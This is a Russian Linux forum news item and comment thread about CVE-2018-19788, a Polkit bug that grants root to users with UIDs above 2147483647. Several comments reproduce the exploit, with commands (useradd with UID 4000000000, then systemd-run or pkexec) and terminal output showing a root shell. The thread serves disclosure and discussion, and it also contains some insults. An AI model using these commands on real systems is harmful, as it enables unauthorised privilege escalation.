LINUX.ORG.RU

Обнаружена уязвимость в Polkit, которая позволяет выполнять любую команду systemctl пользователю с низкими привилегиями

 , , ,


1

2

Уязвимость CVE-2018-19788 присутствует на большинстве операционных систем GNU/Linux и позволяет пользователю, чей UID превышает 2147483647, выполнить любую команду systemctl, равно как и получить root-права.

Проблема существует из-за ошибки в библиотеке Polkit (другое название PolicyKit), заключающейся в неправильной проверки запросов от пользователей с UID > INT_MAX. Где INT_MAX это константа определяющая максимальное значение переменной типа int, равняющаяся 0x7FFFFFFF в шестнадцатеричной или 2147483647 в десятичной системе счисления.

Исследователь по безопасности Rich Mirch (аккаунт в Twitter 0xm1rch) представил успешно работающий эксплоит, демонстрирущий данную уязвимость. Для его корректной работы требуется наличие пользователя с идентификатором 4000000000.

В Twitter'е предлагают гораздо более простой способ получения root-прав:

systemd-run -t /bin/bash

Компания Red Hat рекомендует системным администраторам не создавать аккаунты с отрицательными значениями UID или UID превышающими 2147483647 до тех пор, пока не будет выпущен патч, исправляющий уязвимость.

>>> Подробности

★★★

Проверено: Shaman007 ()

Ответ на: комментарий от Deleted

Гораздо меньше. в районе первых ста тысяч.

65536-100000 обычно

AVL2 ★★★★★ ()
> sudo useradd -u 4000000000 -m backdoor
> sudo su backdoor                   
[backdoor@tempest:/home/backdoor]$ systemd-run -t /bin/sh

(pkttyagent:6024): GLib-GObject-WARNING **: 14:33:03.027: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u182.service
Press ^] three times within 1s to disconnect TTY.
sh-4.4# whoami
root

Очаровательно!

hateyoufeel ★★★★★ ()
Ответ на: комментарий от ncrmnt

Только что проверил у себя, есть учетки в ldap'е с такими uid'ами. Правда уязвимость не сработала Failed to start transient service unit: Interactive authentication required.

Если руками локально создать, то работает.

Deleted ()
Последнее исправление: MyLittleLoli (всего исправлений: 1)
Ответ на: комментарий от crypt

вообще то проблема в полкит. systemd не причем.

AVL2 ★★★★★ ()
Ответ на: комментарий от Shaman007

Ubuntu Cosmic работает:

~ $ sudo useradd --uid 4000000000 vpupkin_lal
[sudo] password for sg302447: 
~ $ sudo su -l vpupkin_lal
No directory, logging in with HOME=/

$ systemd-run -t bash

(process:8057): GLib-GObject-WARNING **: 15:49:38.749: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u216.service
Press ^] three times within 1s to disconnect TTY.
root / # whoami
root

root / # lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.10
Release:        18.10
Codename:       cosmic

KennyMinigun ★★★★★ ()
Последнее исправление: KennyMinigun (всего исправлений: 1)

gentoo, работает

00:19:51 ~ $ >sudo useradd -u 4000000000 test
00:49:01 ~ $ >sudo -u test systemd-run -t /bin/bash

(pkttyagent:5531): GLib-GObject-WARNING **: 00:49:34.313: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u43459.service
Press ^] three times within 1s to disconnect TTY.
00:49:34 / # >whoami
root
eternal_sorrow ★★★★★ ()
Ответ на: комментарий от eternal_sorrow

надо было идти до конца:
команду whoami добавить как параметр при вызове bash
а сами команды соединить в одну строчку через &&

Einstok_Fair ★★ ()
Ответ на: комментарий от AVL2

Ты чо, раз где-то есть systemd, то он обязательно причем.

Deleted ()
Ответ на: комментарий от Deleted

Хм, спасибо. Если не секрет, как получилось что такой UID в LDAP'е завелся? Действительно овердохрена юзеров или особенность какого-то софта?

ncrmnt ★★★★★ ()
Ответ на: комментарий от ncrmnt

да там просто забивают диапазон уидов, который гарантированно нигде не используется. Как в конфиге поставишь, так и будет.

AVL2 ★★★★★ ()
Ответ на: комментарий от AVL2

Бесполезно пытаться это объяснить домохозяйкам, забей.

anonymous ()
Ответ на: комментарий от ne-vlezay

А если без systemd?

Ну так суть бага в systemd. Ясно, что не заработает (первоначальный сплоит тоже использует systemd)

KennyMinigun ★★★★★ ()
Ответ на: комментарий от ArkaDOSik

Интересно, почему мне так смешно?

Может потому, что ты дебилушка?

anonymous ()
Ответ на: комментарий от AVL2

systemd не причем.

Конечно. Как приятно слышать голос мамкина иксперда.

Odalist ★★★★★ ()
Ответ на: комментарий от ArkaDOSik

Может потому что почти все вышенаписавшие у себя на убунту/дебиан/федоре опровергли уязвимость?

Прочитай третью страницу треда, а не первые посты.

Odalist ★★★★★ ()
Ответ на: комментарий от KennyMinigun

systemd вообще не причём

01:16:04 ~ $ >sudo useradd -u 4000000000 test
Password:
01:17:54 ~ $ >sudo -u test pkexec /bin/bash

(process:6030): GLib-GObject-WARNING **: 01:18:18.954: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
01:18:18 ~ # >whoami
root

eternal_sorrow ★★★★★ ()

Тред не читал. Альфочка уже пришла сказать вам, что вы все дураки и не лечитесь, а она одна в белом пальто?

anonymous ()
Ответ на: комментарий от ncrmnt

Без понятия, им занимаются другие люди. Там вроде интеграция с AD, видимо оттуда ноги растут.

Deleted ()
Ответ на: комментарий от Odalist

хейтеры systemd, прежде чем говорить, на своей системе проверьте баг.

тут показано, как

eternal_sorrow ★★★★★ ()
Последнее исправление: eternal_sorrow (всего исправлений: 2)
Ответ на: комментарий от Bruce_Lee

Разве есть жизнь без polkit? Что вместо него тогда использовать?

CryNet ★★ ()

Отличная новость под ёлочку к релизу 12-ой ФРИ :)

пора_валить.jpg

anonymous ()

Удваиваю

Во всем виноват bash, а не systemd. Если бы не bash, то нельзя было бы эксплуатировать уязвимость.

CryNet ★★ ()
Ответ на: комментарий от Bruce_Lee

Ну он же красивые окошки выводит для ввода пароля и т.д. Если его снести как тогда будет?

CryNet ★★ ()
Ответ на: комментарий от imul

systemctl, о которой говорят в новости, это systemd-шная приблуда

anonymous ()
Ответ на: комментарий от anonymous

Я, конечно, сильно извиняюсь, но при чём здесь вообще systemd, если дыра в polkit? Ведь любое другое приложение, использующее polkit (тысячи их), подвержено точно такой же проблеме?

Смари, ты сделал школьный автобус. Понятное дело, что все запчасти сделаны не только тобой лично, а часть куплена у других контор.

И вот ты продал свой автобус школе, туда посадили детишек, все довольные И ТУТ КРОВЬ КИШКИ АВТОБУС ВЗРЫВАЕТСЯ, ВСЕХ НА ЧАСТИ РВЕТ АД КРОМЕШНЫЙ ВСЕ БЕГАЮТ И ГОРЯТ. Ну, например из-за бракованноой топливной системы.

И вроде лично ты не очень причем, система-то купленная, но конечный продукт — твой, и разбираться клиенты будут с тобой. Потому что ты должен был лучше протестировать свой продукт.

Сечешь?

kirk_johnson ★★ ()
Последнее исправление: kirk_johnson (всего исправлений: 1)
Ответ на: комментарий от alpha

systemctl, о которой говорят в новости, это systemd-шная приблуда

anonymous ()
Ответ на: комментарий от anonymous

Я в курсе.

А вот тебе осталось сделать маленькое усилие и прочитать новость дальше заголовка.

alpha ★★★★★ ()
Ответ на: комментарий от kirk_johnson

Аналогия некорректна. Polkit — не часть systemd. Для аналогии с автобусом — нужно предъявлять тогда непосредственно целым дистрибутивам.

anonymous ()
Ответ на: комментарий от anonymous

Аналогия некорректна. Polkit — не часть systemd. Для аналогии с автобусом — нужно предъявлять тогда непосредственно целым дистрибутивам.

Зависимость софта, которая используется для реализации фичи — не часть программного продукта? Жги еще.

kirk_johnson ★★ ()

Я думаю, что для исправления надо изменить 0x7FFFFFFF на 0xFFFFFFFF.

ne-vlezay ★★★★★ ()
Ответ на: комментарий от EvgenijM86

так у тебя что нет пользователя с UID превышающими 2147483647? ну ты лошара ваще..

Thero ★★★★★ ()
Ответ на: комментарий от CryNet

Помимо окошек, polkit позволяет и вовсе обходиться без ввода пароля как мы и видим в новости в допустимых случаях. Линус в свое время изрядно так десктоп обосрал, за то что для обычных пользовательских действий требуется рут.

anonymous ()
Ответ на: комментарий от crypt

так падажжи а кто у вас старый софт отнял? чо вы им не продолжаете пользоваться? форки шморки ёмана..

Thero ★★★★★ ()
Ответ на: комментарий от tailgunner

на самом деле виновата консоль! вот не было бы консоли никто бы ничего не смог эксплуатировать, нужно выпилить все консольные интерфейсы из системы!

Thero ★★★★★ ()
Ответ на: комментарий от kirk_johnson

polkit даже не зависимость systemd. systemd лишь умеет использовать polkit если он установлен в системе (а это так на большинстве десктопных дистрибутивов)

eternal_sorrow ★★★★★ ()
Последнее исправление: eternal_sorrow (всего исправлений: 1)
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.